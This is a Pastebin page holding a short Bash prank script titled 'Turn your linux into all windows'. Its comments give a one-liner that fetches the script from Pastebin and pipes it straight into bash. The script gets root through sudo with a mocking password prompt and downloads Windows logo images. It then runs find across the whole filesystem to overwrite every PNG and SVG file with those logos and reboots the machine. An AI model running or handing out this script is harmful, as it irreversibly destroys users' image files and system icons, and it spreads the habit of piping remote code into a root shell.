Advertisement
BrinkerVII

Turn your linux into all windows

Jun 19th, 2018
206
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Bash 0.74 KB | None | 0 0
  1. #!/bin/bash
  2.  
  3. # How to run this nightmare:
  4. # wget -O - https://pastebin.com/raw/3v83ZP6t | sed -e 's/\r//g'  | bash
  5.  
  6. if [ `id -u` != '0' ]; then
  7.     echo 'We require your password for totally legitimate purposes, please enter it now.'
  8.     sudo "$0"
  9.     exit
  10. fi
  11.  
  12. PNG_DOWNLOAD=/tmp/microsoft-logo-large.png
  13. SVG_DOWNLOAD=/tmp/microsoft-logo.svg
  14. PNG=/tmp/microsoft-logo.png
  15.  
  16. wget 'http://www.pngall.com/wp-content/uploads/2016/06/Microsoft-Windows-PNG-Pic.png' -O "$PNG_DOWNLOAD"
  17.  
  18. wget 'https://upload.wikimedia.org/wikipedia/commons/5/5f/Windows_logo_-_2012.svg' -O "$SVG_DOWNLOAD"
  19.  
  20. convert "$PNG_DOWNLOAD" -resize 64x64 "$PNG"
  21. find / -iname \*.png -exec cp -f "$PNG" {} \;
  22. find / -iname \*.svg -exec cp -f "$SVG_DOWNLOAD" {} \;
  23. reboot
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement